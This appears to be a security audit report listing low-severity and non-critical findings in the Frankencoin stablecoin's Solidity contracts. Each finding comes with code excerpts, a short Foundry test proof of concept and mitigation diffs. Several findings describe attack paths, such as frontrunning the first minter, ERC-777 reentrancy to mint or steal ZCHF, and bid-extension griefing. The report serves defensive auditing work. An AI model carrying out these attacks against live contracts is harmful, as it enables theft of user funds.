• [LOW-1] Frontrunning suggestMinter may lead to stolen funds

• [LOW-2] Not validating MIN_APPLICATION_PERIOD can lead to stolen funds

• [LOW-3] MIN_HOLDING_DURATION will not hold a correct value if deployed on other network

• [LOW-4] restructureCapTable() only wipes out the first address on the list

• [LOW-5] Positions should be expired when block.timestamp = expiration

• [LOW-6] No pause mechanism in case of depeg of XCHF token

• [LOW-7] Tokens with very large decimals will not work as expected

• [LOW-8] minBid can be bypassed to bid indefinitely for small amounts

• [LOW-9] No way to transfer minter role or rennounce to it

• [LOW-10] ERC-777 tokens can lead to re-entrancy vulnerabilities

• [LOW-11] Challenges can be split after they end

[LOW-1] Frontrunning suggestMinter may lead to stolen funds

Frankencoin::suggestMinter does not validate _applicationPeriod and _applicationFee when totalSupply() is 0

This can be useful for the admins to create the first minter.

Nevertheless the function can be called by anyone until some tokens are minted.

Impact

In the worst scenario the admins can deploy all contracts. Send funds to the StablecoinBridge, and then decide to suggest the first minter and mint some coins.

An attacker can call suggestMinter as soon as the contracts are created and some funds are sent to burn them and retrieve the paired stable coin provided by the bridge.

On a less dramatic scenario anyone can frontrun the suggestMinter function, which will create a new minter for the attacker. This will result in the contracts having to be re-deployed.

Proof of Concept

Frankencoin::suggestMinter does not validate _applicationPeriod and _applicationFee when totalSupply() is 0:

      if (_applicationPeriod < MIN_APPLICATION_PERIOD && totalSupply() > 0) revert PeriodTooShort();
      if (_applicationFee < MIN_FEE  && totalSupply() > 0) revert FeeTooLow();

Link to code

Recommended Mitigation Steps

Add some admin permission to assign the first minter, or deploy everything through a deployer contract, and call suggestMinter in it, so that it cannot be front-runned.

[LOW-2] Not validating MIN_APPLICATION_PERIOD can lead to stolen funds

MIN_APPLICATION_PERIOD is defined on the Frankencoin constructor and is immutable. In case the contracts are deployed with _minApplicationPeriod = 0, an attacker can become a minter, burn the token and steal assets on other contracts like the StablecoinBridge.

   constructor(uint256 _minApplicationPeriod) ERC20(18){
      MIN_APPLICATION_PERIOD = _minApplicationPeriod;
      reserve = new Equity(this);
   }

Link to code

Recommended Mitigation Steps

Validate that the MIN_APPLICATION_PERIOD is greater than some minimum value in the constructor.

[LOW-3] MIN_HOLDING_DURATION will not hold a correct value if deployed on other network

MIN_HOLDING_DURATION in Equity is calculated assuming that it will be only deployed in Ethereum Mainnet, where each block is added every 12 seconds.

uint256 public constant MIN_HOLDING_DURATION = 90*7200 << BLOCK_TIME_RESOLUTION_BITS; // Set to 5 for local testing

Link to code

That will not be true if the contract is deployed on other networks

Recommended Mitigation Steps

Define MIN_HOLDING_DURATION via a variable in the constructor, or add a comment on the code make clear this issue.

[LOW-4] restructureCapTable() only wipes out the first address on the list

There is an error on the line address current = addressesToWipe[0];. It is always wiping out addressesToWipe[0], instead of addressesToWipe[i].

If not double-checked, this could lead to not wiping out the expected users. It is still possible to mitigate it by wiping out users one by one.

function restructureCapTable(address[] calldata helpers, address[] calldata addressesToWipe) public {
    require(zchf.equity() < MINIMUM_EQUITY);
    checkQualified(msg.sender, helpers);
    for (uint256 i = 0; i<addressesToWipe.length; i++){
        address current = addressesToWipe[0]; // @audit
        _burn(current, balanceOf(current));
    }
}

Recommended Mitigation Steps

Pass the iteration variable i:

-   address current = addressesToWipe[0];
+   address current = addressesToWipe[i];

[LOW-5] Positions should be expired when block.timestamp = expiration

The alive modifier in Position does not revert when block.timestamp == expiration:

    block.timestamp > expiration) revert Expired();

Link to code

This by itself only allows positions to operate on that exact block, but if the noCooldown modifier had the same issue, it could lead to exploits when all values are equal.

    if (block.timestamp <= cooldown) revert Hot();

It was noticed that some changes to > operatos have been performed when replacing require statements with revert statements.

It is important to check this subtle differences to prevent any issue.

On top of that, the tryAvertChallenge already checks block.timestamp >= expiration for expiration:

    /**
     * @notice check whether challenge can be averted
     * @param _collateralAmount   amount of collateral challenged (dec18)
     * @param _bidAmountZCHF      bid amount in ZCHF (dec18)
     * @return true if challenge can be averted
     */
    function tryAvertChallenge(uint256 _collateralAmount, uint256 _bidAmountZCHF) external onlyHub returns (bool) {
        if (block.timestamp >= expiration){

Link to code

Recommended Mitigation Steps

For code consistency, and to prevent any possible issues with the exact block of expiration:

-    block.timestamp > expiration) revert Expired();
+    block.timestamp >= expiration) revert Expired();

[LOW-6] No pause mechanism in case of depeg of XCHF token

The system allows minting 1-1 FrankenCoin with the same amount of XCHF tokens. In the case the stable coin XCHF depegs from its value it will greatly affect the value of the FrankenCoin ZCHF token, as they can be redeemed immediately.

Recommended Mitigation Steps

It should be up for consideration the implementation of a pause function on the StablecoinBridge to prevent minting tokens 1-1 in case of emergency.

[LOW-7] Tokens with very large decimals will not work as expected

Although not common, it is possible that ERC-20 tokens have decimals() > 36. The current system acknowledges it, but does not prevent anyone from creating a position with them. This will result in the token not working as expected.

     * @param _liqPrice          Liquidation price with (36 - token decimals) decimals,
     *                           e.g. 18 decimals for an 18 decimal collateral, 36 decimals for a 0 decimal collateral.

Link to code

Recommended Mitigation Steps

Validate that tokens have < than 36 decimals or the desired value

[LOW-8] minBid can be bypassed to bid indefinitely for small amounts

MintingHub::minBid() returns the same number as the challenge.bid for small numbers:

function minBid(Challenge storage challenge) internal view returns (uint256) {
    return (challenge.bid * 1005) / 1000;
}

For challenge.bid <= 199, the result of minBid is the same as the bid because of the precision loss error.

minBid is used in the bid function to check if the bid should be postponed:

    if (_bidAmountZCHF < minBid(challenge)) revert BidTooLow(_bidAmountZCHF, minBid(challenge)); // @audit
    uint256 earliestEnd = block.timestamp + 30 minutes;
    if (earliestEnd >= challenge.end) {
        // bump remaining time like ebay does when last minute bids come in
        // An attacker trying to postpone the challenge forever must increase the bid by 0.5%
        // every 30 minutes, or double it every three days, making the attack hard to sustain
        // for a prolonged period of time.
        challenge.end = earliestEnd;
    }

Recommended Mitigation Steps

Replace the < with <=. That way it will revert when the amounts are low enough to return the same number.

-    if (_bidAmountZCHF < minBid(challenge)) revert BidTooLow(_bidAmountZCHF, minBid(challenge));
+    if (_bidAmountZCHF <= minBid(challenge)) revert BidTooLow(_bidAmountZCHF, minBid(challenge));

[LOW-9] No way to transfer minter role or rennounce to it

Minters have a lot of power, and put the protocol at risk if their accounts could get compromised. But they have no way to opt-out if they think their opsec is not adequate at some point. This could also be useful in case there is some multi-sig minter for example.

Recommended Mitigation Steps

Allow minters to rennounce to their roles.

Allow minters to "transfer" their minter role to another address.

Implementation should also take care of positions that were registered with those minters via registerPosition().

[LOW-10] ERC-777 tokens can lead to re-entrancy vulnerabilities

ERC-777 behave like ERC-20 tokens, but they make a callback when tokens are transfered.

Impact

Positions containing ERC-777 tokens as collateral may be victim of re-entrancy attacks.

The possible impacts are unrestricted minting of ZCHF tokens via end, and stealing ZCHF tokens from the MintingHub, both critical.

On top of that, some inconsistency on the positions' storage can be result of these unexpected behavior.

The actual impact relies on the minters of the protocol allowing the possibility of using ERC-777 tokens as collateral or denying them.

Proof of Concept

These functions in the MintingHub are suceptible to re-entrancy attacks. An attacker can perform them by first launching a challenge, and then calling the respected functions. As the bidder and challenger will be the same, the collateral will be transfered between attacker accounts.

end() calls returnCollateral early on the function, before the challenge is deleted. So, it can be re-entered to mint extra tokens via zchf.notifyLoss:

    // returnCollateral()
    challenge.position.collateral().transfer(msg.sender, challenge.size);

Link to code

bid() can be re-entered when the bid is high enough to avert the challenge.

First, the attacker needs to have a previous bid, or the attacker can create one.

The attacker would then be able to steal the initial bid multiple times via the zchf.transfer(challenge.bidder, challenge.bid);. Assets will be taken from the MintingHub contract.

The re-entrancy can be executed by calling the function with a value big enough to avert the challenge:

    // bid()
    challenge.position.collateral().transfer(challenge.challenger, challenge.size); // return the challenger's collateral

Link to code

Recommended Mitigation Steps

Add re-entrancy guards to functions that transfer collateral, and implement the Checks-Effects-Interaction pattern. Or disallow the use of ERC-777 tokens as collateral.

Link to code

[LOW-11] Challenges can be split after they end

Impact

Griefing users by diving their already ended challenges

Proof of Concept

function testBidAfterEnd() public {
    Position position = Position(initPosition());

    skip(7 * 86_400 + 60);

    User challenger = new User(zchf);
    col.mint(address(challenger), 1001);
    uint256 challengeNumber = challenger.challenge(hub, address(position), 1001);

    uint256 bidAmount = 1 ether;
    bob.obtainFrankencoins(swap, 1 ether);
    bob.bid(hub, challengeNumber, bidAmount);

    skip(7 * 86_400 + 60);

    vm.startPrank(address(alice));
    hub.splitChallenge(challengeNumber, 500); // @audit
    hub.end(challengeNumber); // @audit
    vm.stopPrank();
}

Recommended Mitigation Steps

Add if (block.timestamp >= challenge.end) revert TooLate(); to the splitChallenge function

Non Critical Issues

• [NC-1] No way to track challenges created by a user

• [NC-2] Equity tokens sent to oneself are processed to update votes

• [NC-3] Misleading comment about position start value

• [NC-4] Rebasing tokens can lead to bad accountability of the positions

[NC-1] No way to track challenges created by a user

Challenges launched via the MintingHub are added to a general challenges array.

But it will be troublesome to track all challenges created by a user as long as that array grows, especially considering that anyone can split challenges and make that array grow faster than expected.

Recommended Mitigation Steps

Create a mapping that tracks the challenges launched by users, and also adds them when challenges are splitted.

[NC-2] Equity tokens sent to oneself are processed to update votes

Tokens sent are pre-processed in _beforeTokenTransfer. The adjustRecipientVoteAnchor and adjustTotalVotes are called, where calculations for the user and the total votes are made.

In the current codebase it doesn't generate any issues, but any uncatched precision loss or some subtle changes to those calculations could be used to perform some exploit.

    function _beforeTokenTransfer(address from, address to, uint256 amount) override internal {
        super._beforeTokenTransfer(from, to, amount);
        if (amount > 0){
            // No need to adjust the sender votes. When they send out 10% of their shares, they also lose 10% of
            // their votes so everything falls nicely into place.
            // Recipient votes should stay the same, but grow faster in the future, requiring an adjustment of the anchor.
            uint256 roundingLoss = adjustRecipientVoteAnchor(to, amount);
            // The total also must be adjusted and kept accurate by taking into account the rounding error.
            adjustTotalVotes(from, amount, roundingLoss);
        }
    }

Link to code

Recommended Mitigation Steps

The current implementation makes the users sending the tokens lose the votes. This can be the expected behavior.

The following suggestions adds some safety to the function, but in exchange, it changes the original functionality. With this change, users will not lose votes if they send tokens to themselves:

    function _beforeTokenTransfer(address from, address to, uint256 amount) override internal {
        super._beforeTokenTransfer(from, to, amount);
-        if (amount > 0){
+        if (amount > 0 && from != to){
            // No need to adjust the sender votes. When they send out 10% of their shares, they also lose 10% of
            // their votes so everything falls nicely into place.
            // Recipient votes should stay the same, but grow faster in the future, requiring an adjustment of the anchor.
            uint256 roundingLoss = adjustRecipientVoteAnchor(to, amount);
            // The total also must be adjusted and kept accurate by taking into account the rounding error.
            adjustTotalVotes(from, amount, roundingLoss);
        }
    }

[NC-3] Misleading comment about position start value

The code suggests that there is "one week" time to deny the position

start = block.timestamp + initPeriod; // one week time to deny the position

Link to code

But some lines before it specifies 3 days:

require(initPeriod >= 3 days); // must be at least three days, recommended to use higher values

Link to code

Recommended Mitigation Steps

Fix the comment or the required value

[NC-4] Rebasing tokens can lead to bad accountability of the positions

Rebasing tokens change the balanceOf value of the accounts that hold their tokens.

Using rebasing tokens as collateral for positions can lead to positions minting more tokens than expected, or challenges created, averted or won with different amounts than expected.

I would suggest not allowing rebasing tokens to be used on the protocol.